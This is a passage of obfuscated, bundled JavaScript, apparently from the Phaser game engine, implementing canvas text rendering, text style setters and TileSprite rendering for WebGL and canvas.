_0x1fe3f7['backgroundColor'] && (_0x43df37['fillStyle'] = _0x1fe3f7['backgroundColor'], _0x43df37['fillRect'](0x0, 0x0, _0xd044ed, _0x40feaf)), _0x1fe3f7['syncStyle'](_0x20f308, _0x43df37), _0x43df37['translate'](_0x436264['left'], _0x436264['top']); for (var _0x107e21 = 0x0; _0x107e21 < _0x3496d2['lines']; _0x107e21++) { if (_0x16f5b3 = _0x1fe3f7['strokeThickness'] / 0x2, _0x58185f = _0x1fe3f7['strokeThickness'] / 0x2 + _0x107e21 * _0x3496d2['lineHeight'] + _0x1c55ea['ascent'], _0x107e21 > 0x0 && (_0x58185f += _0x3496d2['lineSpacing'] * _0x107e21), _0x1fe3f7['rtl']) _0x16f5b3 = _0xd044ed - _0x16f5b3 - _0x436264['left'] - _0x436264['right']; else { if ('right' === _0x1fe3f7['align']) _0x16f5b3 += _0x5b758b - _0x3496d2['lineWidths'][_0x107e21]; else { if ('center' === _0x1fe3f7['align']) _0x16f5b3 += (_0x5b758b - _0x3496d2['lineWidths'][_0x107e21]) / 0x2; else { if ('justify' === _0x1fe3f7['align'] && _0x3496d2['lineWidths'][_0x107e21] / _0x3496d2['width'] >= 0.85) { var _0x827aae = _0x3496d2['width'] - _0x3496d2['lineWidths'][_0x107e21], _0x28c4cc = _0x43df37['measureText']('\x20')['width'], _0x2b2194 = _0x59bc2d[_0x107e21]['trim'](), _0x23b473 = _0x2b2194['split']('\x20'); _0x827aae += (_0x59bc2d[_0x107e21]['length'] - _0x2b2194['length']) * _0x28c4cc; for (var _0x478c03 = Math['floor'](_0x827aae / _0x28c4cc), _0x2b37bd = 0x0; _0x478c03 > 0x0;)_0x23b473[_0x2b37bd] += '\x20', _0x2b37bd = (_0x2b37bd + 0x1) % (_0x23b473['length'] - 0x1 || 0x1), --_0x478c03; _0x59bc2d[_0x107e21] = _0x23b473['join']('\x20'); } } } } this['autoRound'] && (_0x16f5b3 = Math['round'](_0x16f5b3), _0x58185f = Math['round'](_0x58185f)); var _0x151f98 = this['letterSpacing']; if (_0x1fe3f7['strokeThickness'] && 0x0 === _0x151f98 && (_0x1fe3f7['syncShadow'](_0x43df37, _0x1fe3f7['shadowStroke']), _0x43df37['strokeText'](_0x59bc2d[_0x107e21], _0x16f5b3, _0x58185f)), _0x1fe3f7['color']) { if (_0x1fe3f7['syncShadow'](_0x43df37, _0x1fe3f7['shadowFill']), 0x0 !== _0x151f98) { for (var _0x5347ec = 0x0, _0x249a68 = _0x59bc2d[_0x107e21]['split'](''), _0x433264 = 0x0; _0x433264 < _0x249a68['length']; _0x433264++)_0x1fe3f7['strokeThickness'] && (_0x1fe3f7['syncShadow'](_0x43df37, _0x1fe3f7['shadowStroke']), _0x43df37['strokeText'](_0x249a68[_0x433264], _0x16f5b3 + _0x5347ec, _0x58185f), _0x1fe3f7['syncShadow'](_0x43df37, _0x1fe3f7['shadowFill'])), _0x43df37['fillText'](_0x249a68[_0x433264], _0x16f5b3 + _0x5347ec, _0x58185f), _0x5347ec += _0x43df37['measureText'](_0x249a68[_0x433264])['width'] + _0x151f98; } else _0x43df37['fillText'](_0x59bc2d[_0x107e21], _0x16f5b3, _0x58185f); } } _0x43df37['restore'](), this['renderer'] && this['renderer']['gl'] && (this['frame']['source']['glTexture'] = this['renderer']['canvasToTexture'](_0x20f308, this['frame']['source']['glTexture'], !0x0)); var _0x534471 = this['input']; return _0x534471 && !_0x534471['customHitArea'] && (_0x534471['hitArea']['width'] = this['width'], _0x534471['hitArea']['height'] = this['height']), this; }, 'getTextMetrics': function () { return this['style']['getTextMetrics'](); }, 'text': { 'get': function () { return this['_text']; }, 'set': function (_0x1a7803) { this['setText'](_0x1a7803); } }, 'toJSON': function () { var _0x3d8774 = _0x1178af['ToJSON'](this), _0x4148f6 = { 'autoRound': this['autoRound'], 'text': this['_text'], 'style': this['style']['toJSON'](), 'padding': { 'left': this['padding']['left'], 'right': this['padding']['right'], 'top': this['padding']['top'], 'bottom': this['padding']['bottom'] } }; return _0x3d8774['data'] = _0x4148f6, _0x3d8774; }, 'preDestroy': function () { _0x4aa10c(this['canvas']), _0x144aff['remove'](this['canvas']); var _0x5eca3f = this['texture']; _0x5eca3f && _0x5eca3f['destroy'](); } }); _0x289beb['exports'] = _0x4f052a; }, 0x1376c: _0x4b865b => { _0x4b865b['exports'] = function (_0x43bc7a, _0x5aeaed, _0x549911, _0x2040cb) { 0x0 !== _0x5aeaed['width'] && 0x0 !== _0x5aeaed['height'] && (_0x549911['addToRenderList'](_0x5aeaed), _0x43bc7a['batchSprite'](_0x5aeaed, _0x5aeaed['frame'], _0x549911, _0x2040cb)); }; }, 0x1165b: (_0x4e8730, _0x195f0a, _0x3ad4b7) => { var _0x4ca320 = _0x3ad4b7(0x62d9), _0xa86f2b = _0x3ad4b7(0xae3b), _0x4550dd = _0x3ad4b7(0x5c10), _0x35061b = _0x3ad4b7(0xc3fb); _0xa86f2b['register']('text', function (_0x4e3bbe, _0xdc5697) { void 0x0 === _0x4e3bbe && (_0x4e3bbe = {}); var _0x3746ad = _0x4550dd(_0x4e3bbe, 'text', ''), _0x2334db = _0x4550dd(_0x4e3bbe, 'style', null), _0x2128ba = _0x4550dd(_0x4e3bbe, 'padding', null); null !== _0x2128ba && (_0x2334db['padding'] = _0x2128ba); var _0x4e5a65 = new _0x35061b(this['scene'], 0x0, 0x0, _0x3746ad, _0x2334db); return void 0x0 !== _0xdc5697 && (_0x4e3bbe['add'] = _0xdc5697), _0x4ca320(this['scene'], _0x4e5a65, _0x4e3bbe), _0x4e5a65['autoRound'] = _0x4550dd(_0x4e3bbe, 'autoRound', !0x0), _0x4e5a65['resolution'] = _0x4550dd(_0x4e3bbe, 'resolution', 0x1), _0x4e5a65; }); }, 0x109a5: (_0x191ca0, _0x3aa0a1, _0x361671) => { var _0x5d8945 = _0x361671(0xc3fb); _0x361671(0x9a05)['register']('text', function (_0x258005, _0x26d1d6, _0x4cb688, _0x3bca9c) { return this['displayList']['add'](new _0x5d8945(this['scene'], _0x258005, _0x26d1d6, _0x4cb688, _0x3bca9c)); }); }, 0xf14b: (_0x2eab80, _0x5415e8, _0x2b6150) => { var _0x3f77e0 = _0x2b6150(0x7433), _0x25d261 = _0x3f77e0, _0x9f38c5 = _0x3f77e0; _0x25d261 = _0x2b6150(0x865d), _0x9f38c5 = _0x2b6150(0x1376c), _0x2eab80['exports'] = { 'renderWebGL': _0x25d261, 'renderCanvas': _0x9f38c5 }; }, 0x8bb2: (_0x3a8525, _0x57ae28, _0x43c460) => { var _0x412ef2 = _0x43c460(0x145db), _0x2764d4 = _0x43c460(0x5c10), _0x4959e2 = _0x43c460(0x8952), _0x35e5ac = _0x43c460(0x136c5), _0x18e9a7 = { 'fontFamily': ['fontFamily', 'Courier'], 'fontSize': ['fontSize', '16px'], 'fontStyle': ['fontStyle', ''], 'backgroundColor': ['backgroundColor', null], 'color': ['color', '#fff'], 'stroke': ['stroke', '#fff'], 'strokeThickness': ['strokeThickness', 0x0], 'shadowOffsetX': ['shadow.offsetX', 0x0], 'shadowOffsetY': ['shadow.offsetY', 0x0], 'shadowColor': ['shadow.color', '#000'], 'shadowBlur': ['shadow.blur', 0x0], 'shadowStroke': ['shadow.stroke', !0x1], 'shadowFill': ['shadow.fill', !0x1], 'align': ['align', 'left'], 'maxLines': ['maxLines', 0x0], 'fixedWidth': ['fixedWidth', 0x0], 'fixedHeight': ['fixedHeight', 0x0], 'resolution': ['resolution', 0x0], 'rtl': ['rtl', !0x1], 'testString': ['testString', '|MÉqgy'], 'baselineX': ['baselineX', 1.2], 'baselineY': ['baselineY', 1.4], 'wordWrapWidth': ['wordWrap.width', null], 'wordWrapCallback': ['wordWrap.callback', null], 'wordWrapCallbackScope': ['wordWrap.callbackScope', null], 'wordWrapUseAdvanced': ['wordWrap.useAdvancedWrap', !0x1] }, _0x122f9f = new _0x412ef2({ 'initialize': function (_0x3a6d73, _0x301d80) { this['parent'] = _0x3a6d73, this['fontFamily'], this['fontSize'], this['fontStyle'], this['backgroundColor'], this['color'], this['stroke'], this['strokeThickness'], this['shadowOffsetX'], this['shadowOffsetY'], this['shadowColor'], this['shadowBlur'], this['shadowStroke'], this['shadowFill'], this['align'], this['maxLines'], this['fixedWidth'], this['fixedHeight'], this['resolution'], this['rtl'], this['testString'], this['baselineX'], this['baselineY'], this['wordWrapWidth'], this['wordWrapCallback'], this['wordWrapCallbackScope'], this['wordWrapUseAdvanced'], this['_font'], this['setStyle'](_0x301d80, !0x1, !0x0); }, 'setStyle': function (_0x34074, _0x5e9d90, _0x4dd950) { for (var _0x1bef1e in (void 0x0 === _0x5e9d90 && (_0x5e9d90 = !0x0), void 0x0 === _0x4dd950 && (_0x4dd950 = !0x1), _0x18e9a7)) { var _0x546335 = _0x4dd950 ? _0x18e9a7[_0x1bef1e][0x1] : this[_0x1bef1e]; 'wordWrapCallback' === _0x1bef1e || 'wordWrapCallbackScope' === _0x1bef1e ? this[_0x1bef1e] = _0x4959e2(_0x34074, _0x18e9a7[_0x1bef1e][0x0], _0x546335) : _0x34074 && 'fontSize' === _0x1bef1e && 'number' == typeof _0x34074['fontSize'] ? this[_0x1bef1e] = _0x34074['fontSize']['toString']() + 'px' : this[_0x1bef1e] = _0x2764d4(_0x34074, _0x18e9a7[_0x1bef1e][0x0], _0x546335); } var _0x5dc822 = _0x4959e2(_0x34074, 'font', null); null !== _0x5dc822 && this['setFont'](_0x5dc822, !0x1), this['_font'] = [this['fontStyle'], this['fontSize'], this['fontFamily']]['join']('\x20')['trim'](); var _0x270836 = _0x4959e2(_0x34074, 'fill', null); null !== _0x270836 && (this['color'] = _0x270836); var _0x4370ae = _0x4959e2(_0x34074, 'metrics', !0x1); return _0x4370ae ? this['metrics'] = { 'ascent': _0x4959e2(_0x4370ae, 'ascent', 0x0), 'descent': _0x4959e2(_0x4370ae, 'descent', 0x0), 'fontSize': _0x4959e2(_0x4370ae, 'fontSize', 0x0) } : !_0x5e9d90 && this['metrics'] || (this['metrics'] = _0x35e5ac(this)), _0x5e9d90 ? this['parent']['updateText']() : this['parent']; }, 'syncFont': function (_0x2cf1e6, _0x2b4657) { _0x2b4657['font'] = this['_font']; }, 'syncStyle': function (_0x542ba7, _0x17ed27) { _0x17ed27['textBaseline'] = 'alphabetic', _0x17ed27['fillStyle'] = this['color'], _0x17ed27['strokeStyle'] = this['stroke'], _0x17ed27['lineWidth'] = this['strokeThickness'], _0x17ed27['lineCap'] = 'round', _0x17ed27['lineJoin'] = 'round'; }, 'syncShadow': function (_0x13a46c, _0x576c46) { _0x576c46 ? (_0x13a46c['shadowOffsetX'] = this['shadowOffsetX'], _0x13a46c['shadowOffsetY'] = this['shadowOffsetY'], _0x13a46c['shadowColor'] = this['shadowColor'], _0x13a46c['shadowBlur'] = this['shadowBlur']) : (_0x13a46c['shadowOffsetX'] = 0x0, _0x13a46c['shadowOffsetY'] = 0x0, _0x13a46c['shadowColor'] = 0x0, _0x13a46c['shadowBlur'] = 0x0); }, 'update': function (_0x33d649) { return _0x33d649 && (this['_font'] = [this['fontStyle'], this['fontSize'], this['fontFamily']]['join']('\x20')['trim'](), this['metrics'] = _0x35e5ac(this)), this['parent']['updateText'](); }, 'setFont': function (_0x32dbed, _0x14bf0b) { void 0x0 === _0x14bf0b && (_0x14bf0b = !0x0); var _0x1ef029 = _0x32dbed, _0x40ba10 = '', _0x338928 = ''; if ('string' != typeof _0x32dbed) _0x1ef029 = _0x4959e2(_0x32dbed, 'fontFamily', 'Courier'), _0x40ba10 = _0x4959e2(_0x32dbed, 'fontSize', '16px'), _0x338928 = _0x4959e2(_0x32dbed, 'fontStyle', ''); else { var _0x1ea4c2 = _0x32dbed['split']('\x20'), _0x9b67f8 = 0x0; _0x338928 = _0x1ea4c2['length'] > 0x2 ? _0x1ea4c2[_0x9b67f8++] : '', _0x40ba10 = _0x1ea4c2[_0x9b67f8++] || '16px', _0x1ef029 = _0x1ea4c2[_0x9b67f8++] || 'Courier'; } return _0x1ef029 === this['fontFamily'] && _0x40ba10 === this['fontSize'] && _0x338928 === this['fontStyle'] || (this['fontFamily'] = _0x1ef029, this['fontSize'] = _0x40ba10, this['fontStyle'] = _0x338928, _0x14bf0b && this['update'](!0x0)), this['parent']; }, 'setFontFamily': function (_0x8254c4) { return this['fontFamily'] !== _0x8254c4 && (this['fontFamily'] = _0x8254c4, this['update'](!0x0)), this['parent']; }, 'setFontStyle': function (_0x4b8419) { return this['fontStyle'] !== _0x4b8419 && (this['fontStyle'] = _0x4b8419, this['update'](!0x0)), this['parent']; }, 'setFontSize': function (_0x5cd61d) { return 'number' == typeof _0x5cd61d && (_0x5cd61d = _0x5cd61d['toString']() + 'px'), this['fontSize'] !== _0x5cd61d && (this['fontSize'] = _0x5cd61d, this['update'](!0x0)), this['parent']; }, 'setTestString': function (_0x4c5ca4) { return this['testString'] = _0x4c5ca4, this['update'](!0x0); }, 'setFixedSize': function (_0x369b11, _0x46b787) { return this['fixedWidth'] = _0x369b11, this['fixedHeight'] = _0x46b787, _0x369b11 && (this['parent']['width'] = _0x369b11), _0x46b787 && (this['parent']['height'] = _0x46b787), this['update'](!0x1); }, 'setBackgroundColor': function (_0x5a0eab) { return this['backgroundColor'] = _0x5a0eab, this['update'](!0x1); }, 'setFill': function (_0x5946aa) { return this['color'] = _0x5946aa, this['update'](!0x1); }, 'setColor': function (_0x4fb077) { return this['color'] = _0x4fb077, this['update'](!0x1); }, 'setResolution': function (_0x374100) { return this['resolution'] = _0x374100, this['update'](!0x1); }, 'setStroke': function (_0x1b2b9b, _0x51e437) { return void 0x0 === _0x51e437 && (_0x51e437 = this['strokeThickness']), void 0x0 === _0x1b2b9b && 0x0 !== this['strokeThickness'] ? (this['strokeThickness'] = 0x0, this['update'](!0x0)) : this['stroke'] === _0x1b2b9b && this['strokeThickness'] === _0x51e437 || (this['stroke'] = _0x1b2b9b, this['strokeThickness'] = _0x51e437, this['update'](!0x0)), this['parent']; }, 'setShadow': function (_0x479615, _0x31d178, _0x1658bb, _0x5defc6, _0x167ccb, _0x28860e) { return void 0x0 === _0x479615 && (_0x479615 = 0x0), void 0x0 === _0x31d178 && (_0x31d178 = 0x0), void 0x0 === _0x1658bb && (_0x1658bb = '#000'), void 0x0 === _0x5defc6 && (_0x5defc6 = 0x0), void 0x0 === _0x167ccb && (_0x167ccb = !0x1), void 0x0 === _0x28860e && (_0x28860e = !0x0), this['shadowOffsetX'] = _0x479615, this['shadowOffsetY'] = _0x31d178, this['shadowColor'] = _0x1658bb, this['shadowBlur'] = _0x5defc6, this['shadowStroke'] = _0x167ccb, this['shadowFill'] = _0x28860e, this['update'](!0x1); }, 'setShadowOffset': function (_0x312b3b, _0x1e27c4) { return void 0x0 === _0x312b3b && (_0x312b3b = 0x0), void 0x0 === _0x1e27c4 && (_0x1e27c4 = _0x312b3b), this['shadowOffsetX'] = _0x312b3b, this['shadowOffsetY'] = _0x1e27c4, this['update'](!0x1); }, 'setShadowColor': function (_0x467400) { return void 0x0 === _0x467400 && (_0x467400 = '#000'), this['shadowColor'] = _0x467400, this['update'](!0x1); }, 'setShadowBlur': function (_0x469863) { return void 0x0 === _0x469863 && (_0x469863 = 0x0), this['shadowBlur'] = _0x469863, this['update'](!0x1); }, 'setShadowStroke': function (_0x59b1fb) { return this['shadowStroke'] = _0x59b1fb, this['update'](!0x1); }, 'setShadowFill': function (_0x4110c2) { return this['shadowFill'] = _0x4110c2, this['update'](!0x1); }, 'setWordWrapWidth': function (_0x2862f5, _0x3a4a74) { return void 0x0 === _0x3a4a74 && (_0x3a4a74 = !0x1), this['wordWrapWidth'] = _0x2862f5, this['wordWrapUseAdvanced'] = _0x3a4a74, this['update'](!0x1); }, 'setWordWrapCallback': function (_0xc5161f, _0x4ce2e9) { return void 0x0 === _0x4ce2e9 && (_0x4ce2e9 = null), this['wordWrapCallback'] = _0xc5161f, this['wordWrapCallbackScope'] = _0x4ce2e9, this['update'](!0x1); }, 'setAlign': function (_0x50ed92) { return void 0x0 === _0x50ed92 && (_0x50ed92 = 'left'), this['align'] = _0x50ed92, this['update'](!0x1); }, 'setMaxLines': function (_0x2edaa4) { return void 0x0 === _0x2edaa4 && (_0x2edaa4 = 0x0), this['maxLines'] = _0x2edaa4, this['update'](!0x1); }, 'getTextMetrics': function () { var _0x549c9b = this['metrics']; return { 'ascent': _0x549c9b['ascent'], 'descent': _0x549c9b['descent'], 'fontSize': _0x549c9b['fontSize'] }; }, 'toJSON': function () { var _0x2fffa7 = {}; for (var _0x1b329a in _0x18e9a7) _0x2fffa7[_0x1b329a] = this[_0x1b329a]; return _0x2fffa7['metrics'] = this['getTextMetrics'](), _0x2fffa7; }, 'destroy': function () { this['parent'] = void 0x0; } }); _0x3a8525['exports'] = _0x122f9f; }, 0x865d: (_0x5e88ce, _0x19246f, _0x9a487) => { var _0x21b82a = _0x9a487(0x1139a); _0x5e88ce['exports'] = function (_0x1fd259, _0x4b4e52, _0x169e6f, _0x9a9360) { if (0x0 !== _0x4b4e52['width'] && 0x0 !== _0x4b4e52['height']) { _0x169e6f['addToRenderList'](_0x4b4e52); var _0x1c8269 = _0x4b4e52['frame'], _0x11f74b = _0x1c8269['width'], _0xec6f74 = _0x1c8269['height'], _0x1b5564 = _0x21b82a['getTintAppendFloatAlpha'], _0x1da574 = _0x1fd259['pipelines']['set'](_0x4b4e52['pipeline'], _0x4b4e52), _0x3a7816 = _0x1da574['setTexture2D'](_0x1c8269['glTexture'], _0x4b4e52); _0x1da574['batchTexture'](_0x4b4e52, _0x1c8269['glTexture'], _0x11f74b, _0xec6f74, _0x4b4e52['x'], _0x4b4e52['y'], _0x11f74b / _0x4b4e52['style']['resolution'], _0xec6f74 / _0x4b4e52['style']['resolution'], _0x4b4e52['scaleX'], _0x4b4e52['scaleY'], _0x4b4e52['rotation'], _0x4b4e52['flipX'], _0x4b4e52['flipY'], _0x4b4e52['scrollFactorX'], _0x4b4e52['scrollFactorY'], _0x4b4e52['displayOriginX'], _0x4b4e52['displayOriginY'], 0x0, 0x0, _0x11f74b, _0xec6f74, _0x1b5564(_0x4b4e52['tintTopLeft'], _0x169e6f['alpha'] * _0x4b4e52['_alphaTL']), _0x1b5564(_0x4b4e52['tintTopRight'], _0x169e6f['alpha'] * _0x4b4e52['_alphaTR']), _0x1b5564(_0x4b4e52['tintBottomLeft'], _0x169e6f['alpha'] * _0x4b4e52['_alphaBL']), _0x1b5564(_0x4b4e52['tintBottomRight'], _0x169e6f['alpha'] * _0x4b4e52['_alphaBR']), _0x4b4e52['tintFill'], 0x0, 0x0, _0x169e6f, _0x9a9360, !0x1, _0x3a7816); } }; }, 0x5167: (_0x4be199, _0x3c131c, _0x3bb245) => { var _0x52611b = _0x3bb245(0x6d0f), _0x3072f9 = _0x3bb245(0x145db), _0x2c8237 = _0x3bb245(0x7aa9), _0x2bd400 = _0x3bb245(0x1759b), _0x1fd0be = _0x3bb245(0x18087), _0x435abf = _0x3bb245(0x10c5f), _0xcab21a = _0x3bb245(0xdbe7), _0x3b07fe = _0x3bb245(0xb252), _0x2cb037 = _0x3bb245(0x65f3), _0x414cf0 = new _0x3072f9({ 'Extends': _0x2bd400, 'Mixins': [_0x2c8237['Alpha'], _0x2c8237['BlendMode'], _0x2c8237['ComputedSize'], _0x2c8237['Crop'], _0x2c8237['Depth'], _0x2c8237['Flip'], _0x2c8237['GetBounds'], _0x2c8237['Mask'], _0x2c8237['Origin'], _0x2c8237['Pipeline'], _0x2c8237['PostPipeline'], _0x2c8237['ScrollFactor'], _0x2c8237['Tint'], _0x2c8237['Transform'], _0x2c8237['Visible'], _0xcab21a], 'initialize': function (_0xaec1d7, _0x574392, _0x567145, _0x109ee4, _0x72d468, _0x42c9f9, _0x33dd84) { var _0x44cbb7 = _0xaec1d7['sys']['renderer']; _0x2bd400['call'](this, _0xaec1d7, 'TileSprite'); var _0x5870f8 = _0xaec1d7['sys']['textures']['get'](_0x42c9f9), _0x179f30 = _0x5870f8['get'](_0x33dd84); _0x179f30['source']['compressionAlgorithm'] && (_0x179f30 = (_0x5870f8 = _0xaec1d7['sys']['textures']['get']('__MISSING'))['get']()), 'DynamicTexture' === _0x5870f8['type'] && (_0x179f30 = (_0x5870f8 = _0xaec1d7['sys']['textures']['get']('__MISSING'))['get']()), _0x109ee4 && _0x72d468 ? (_0x109ee4 = Math['floor'](_0x109ee4), _0x72d468 = Math['floor'](_0x72d468)) : (_0x109ee4 = _0x109ee4 || _0x179f30['width'], _0x72d468 = _0x72d468 || _0x179f30['height']), this['_tilePosition'] = new _0x2cb037(), this['_tileScale'] = new _0x2cb037(0x1, 0x1), this['dirty'] = !0x1, this['renderer'] = _0x44cbb7, this['canvas'] = _0x52611b['create'](this, _0x109ee4, _0x72d468), this['context'] = this['canvas']['getContext']('2d', { 'willReadFrequently': !0x1 }), this['displayTexture'] = _0x5870f8, this['displayFrame'] = _0x179f30, this['_crop'] = this['resetCropObject'](), this['_textureKey'] = _0x3b07fe(), this['texture'] = _0xaec1d7['sys']['textures']['addCanvas'](this['_textureKey'], this['canvas']), this['frame'] = this['texture']['get'](), this['potWidth'] = _0x1fd0be(_0x179f30['width']), this['potHeight'] = _0x1fd0be(_0x179f30['height']), this['fillCanvas'] = _0x52611b['create2D'](this, this['potWidth'], this['potHeight']), this['fillContext'] = this['fillCanvas']['getContext']('2d', { 'willReadFrequently': !0x1 }), this['fillPattern'] = null, this['setPosition'](_0x574392, _0x567145), this['setSize'](_0x109ee4, _0x72d468), this['setFrame'](_0x33dd84), this['setOriginFromFrame'](), this['initPipeline'](), this['initPostPipeline'](!0x0); }, 'setTexture': function (_0x46f2da, _0x4b2700) { return this['displayTexture'] = this['scene']['sys']['textures']['get'](_0x46f2da), this['setFrame'](_0x4b2700); }, 'setFrame': function (_0x32c614) { var _0x4768d2 = this['displayTexture']['get'](_0x32c614); return this['potWidth'] = _0x1fd0be(_0x4768d2['width']), this['potHeight'] = _0x1fd0be(_0x4768d2['height']), this['canvas']['width'] = 0x0, _0x4768d2['cutWidth'] && _0x4768d2['cutHeight'] ? this['renderFlags'] |= 0x8 : this['renderFlags'] &= -0x9, this['displayFrame'] = _0x4768d2, this['dirty'] = !0x0, this['updateTileTexture'](), this; }, 'setTilePosition': function (_0x5e8abd, _0x3a0b27) { return void 0x0 !== _0x5e8abd && (this['tilePositionX'] = _0x5e8abd), void 0x0 !== _0x3a0b27 && (this['tilePositionY'] = _0x3a0b27), this; }, 'setTileScale': function (_0x63b8bc, _0x4516ac) { return void 0x0 === _0x63b8bc && (_0x63b8bc = this['tileScaleX']), void 0x0 === _0x4516ac && (_0x4516ac = _0x63b8bc), this['tileScaleX'] = _0x63b8bc, this['tileScaleY'] = _0x4516ac, this; }, 'updateTileTexture': function () { if (this['dirty'] && this['renderer']) { var _0x29d698 = this['displayFrame']; if (_0x29d698['source']['isRenderTexture'] || _0x29d698['source']['isGLTexture']) this['dirty'] = !0x1; else { var _0x1fab95 = this['fillContext'], _0x1d4bcc = this['fillCanvas'], _0x3e9e17 = this['potWidth'], _0x32dfda = this['potHeight']; this['renderer'] && this['renderer']['gl'] || (_0x3e9e17 = _0x29d698['cutWidth'], _0x32dfda = _0x29d698['cutHeight']), _0x1fab95['clearRect'](0x0, 0x0, _0x3e9e17, _0x32dfda), _0x1d4bcc['width'] = _0x3e9e17, _0x1d4bcc['height'] = _0x32dfda, _0x1fab95['drawImage'](_0x29d698['source']['image'], _0x29d698['cutX'], _0x29d698['cutY'], _0x29d698['cutWidth'], _0x29d698['cutHeight'], 0x0, 0x0, _0x3e9e17, _0x32dfda), this['renderer'] && this['renderer']['gl'] ? this['fillPattern'] = this['renderer']['canvasToTexture'](_0x1d4bcc, this['fillPattern']) : this['fillPattern'] = _0x1fab95['createPattern'](_0x1d4bcc, 'repeat'), this['updateCanvas'](), this['dirty'] = !0x1; } } }, 'updateCanvas': function () { var _0x55b2ac = this['canvas']; if (_0x55b2ac['width'] === this['width'] && _0x55b2ac['height'] === this['height'] || (_0x55b2ac['width'] = this['width'], _0x55b2ac['height'] = this['height'], this['frame']['setSize'](this['width'], this['height']), this['updateDisplayOrigin'](), this['dirty'] = !0x0), !this['dirty'] || this['renderer'] && this['renderer']['gl']) this['dirty'] = !0x1; else { var _0x222c1e = this['context']; this['scene']['sys']['game']['config']['antialias'] || _0x435abf['disable'](_0x222c1e); var _0x54206d = this['_tileScale']['x'], _0x2baf36 = this['_tileScale']['y'], _0x29279e = this['_tilePosition']['x'], _0x33a0f4 = this['_tilePosition']['y']; _0x222c1e['clearRect'](0x0, 0x0, this['width'], this['height']), _0x222c1e['save'](), _0x222c1e['scale'](_0x54206d, _0x2baf36), _0x222c1e['translate'](-_0x29279e, -_0x33a0f4), _0x222c1e['fillStyle'] = this['fillPattern'], _0x222c1e['fillRect'](_0x29279e, _0x33a0f4, this['width'] / _0x54206d, this['height'] / _0x2baf36), _0x222c1e['restore'](), this['dirty'] = !0x1; } }, 'preDestroy': function () { this['renderer'] && this['renderer']['gl'] && this['renderer']['deleteTexture'](this['fillPattern']), _0x52611b['remove'](this['canvas']), _0x52611b['remove'](this['fillCanvas']), this['fillPattern'] = null, this['fillContext'] = null, this['fillCanvas'] = null, this['displayTexture'] = null, this['displayFrame'] = null; var _0x4b2fdf = this['texture']; _0x4b2fdf && _0x4b2fdf['destroy'](), this['renderer'] = null; }, 'tilePositionX': { 'get': function () { return this['_tilePosition']['x']; }, 'set': function (_0x2de0e8) { this['_tilePosition']['x'] = _0x2de0e8, this['dirty'] = !0x0; } }, 'tilePositionY': { 'get': function () { return this['_tilePosition']['y']; }, 'set': function (_0x1b665d) { this['_tilePosition']['y'] = _0x1b665d, this['dirty'] = !0x0; } }, 'tileScaleX': { 'get': function () { return this['_tileScale']['x']; }, 'set': function (_0x285b07) { this['_tileScale']['x'] = _0x285b07, this['dirty'] = !0x0; } }, 'tileScaleY': { 'get': function () { return this['_tileScale']['y']; }, 'set': function (_0x27621c) { this['_tileScale']['y'] = _0x27621c, this['dirty'] = !0x0; } } }); _0x4be199['exports'] = _0x414cf0; }, 0xb790: _0x1417ea => { _0x1417ea['exports'] = function (_0x4760af, _0xf75bda, _0x133868, _0x12174c) { _0xf75bda['updateCanvas'](), _0x133868['addToRenderList'](_0xf75bda), _0x4760af['batchSprite'](_0xf75bda, _0xf75bda['frame'], _0x133868, _0x12174c); }; }, 0x3757: (_0x572945, _0x5f38b8, _0x2dc9f1) => { var _0x3d76b4 = _0x2dc9f1(0x62d9), _0xd20283 = _0x2dc9f1(0xae3b), _0xf85569 = _0x2dc9f1(0x5c10), _0x39bde2 = _0x2dc9f1(0x5167); _0xd20283['register']('tileSprite', function (_0x47cc31, _0x1c906c) { void 0x0 === _0x47cc31 && (_0x47cc31 = {}); var _0x56a642 = _0xf85569(_0x47cc31, 'x', 0x0), _0x3e4803 = _0xf85569(_0x47cc31, 'y', 0x0), _0x436ae1 = _0xf85569(_0x47cc31, 'width', 0x200), _0x562c09 = _0xf85569(_0x47cc31, 'height', 0x200), _0x2ee14b = _0xf85569(_0x47cc31, 'key', ''), _0x442fe8 = _0xf85569(_0x47cc31, 'frame', ''), _0x4096cf = new _0x39bde2(this['scene'], _0x56a642, _0x3e4803, _0x436ae1, _0x562c09, _0x2ee14b, _0x442fe8); return void 0x0 !== _0x1c906c && (_0x47cc31['add'] = _0x1c906c), _0x3d76b4(this['scene'], _0x4096cf, _0x47cc31), _0x4096cf; }); }, 0x16621: (_0x4e3e3d, _0x26512d, _0x2a6f1e) => { var _0x5c821c = _0x2a6f1e(0x5167); _0x2a6f1e(0x9a05)['register']('tileSprite', function (_0xc4489e, _0x1f84e0, _0x2d1709, _0x4e1735, _0x11b0b5, _0x1b4138) { return this['displayList']['add'](new _0x5c821c(this['scene'], _0xc4489e, _0x1f84e0, _0x2d1709, _0x4e1735, _0x11b0b5, _0x1b4138)); }); }, 0xdbe7: (_0x2643a3, _0x31a5b0, _0x506983) => { var _0x3223cb = _0x506983(0x7433), _0x4ff940 = _0x3223cb, _0x19e188 = _0x3223cb; _0x4ff940 = _0x506983(0x4879), _0x19e188 = _0x506983(0xb790), _0x2643a3['exports'] = { 'renderWebGL': _0x4ff940, 'renderCanvas': _0x19e188 }; }, 0x4879: (_0xeb6dc9, _0x1e16c2, _0x13fdc1) => { var _0x268ff2 = _0x13fdc1(0x1139a); _0xeb6dc9['exports'] = function (_0x294239, _0x577a05, _0x52f048, _0x4f7cd7) { _0x577a05['updateCanvas'](); var _0x28a3c3 = _0x577a05['width'], _0x38a110 = _0x577a05['height']; if (0x0 !== _0x28a3c3 && 0x0 !== _0x38a110) { _0x52f048['addToRenderList'](_0x577a05); var _0x5b7bfe = _0x268ff2['getTintAppendFloatAlpha'], _0x21cdb0 = _0x294239['pipelines']['set'](_0x577a05['pipeline'], _0x577a05), _0x22d8a9 = _0x21cdb0['setTexture2D'](_0x577a05['fillPattern'], _0x577a05); _0x21cdb0['batchTexture'](_0x577a05, _0x577a05['fillPattern'], _0x577a05['displayFrame']['width'] * _0x577a05['tileScaleX'], _0x577a05['displayFrame']['height'] * _0x577a05['tileScaleY'], _0x577a05['x'], _0x577a05['y'], _0x28a3c3, _0x38a110, _0x577a05['scaleX'], _0x577a05['scaleY'], _0x577a05['rotation'], _0x577a05['flipX'], _0x577a05['flipY'], _0x577a05['scrollFactorX'], _0x577a05['scrollFactorY'], _0x577a05['originX'] * _0x28a3c3, _0x577a05['originY'] * _0x38a110, 0x0, 0x0, _0x28a3c3, _0x38a110, _0x5b7bfe(_0x577a05['tintTopLeft'], _0x52f048['alpha'] * _0x577a05['_alphaTL']), _0x5b7bfe(_0x577a05['tintTopRight'], 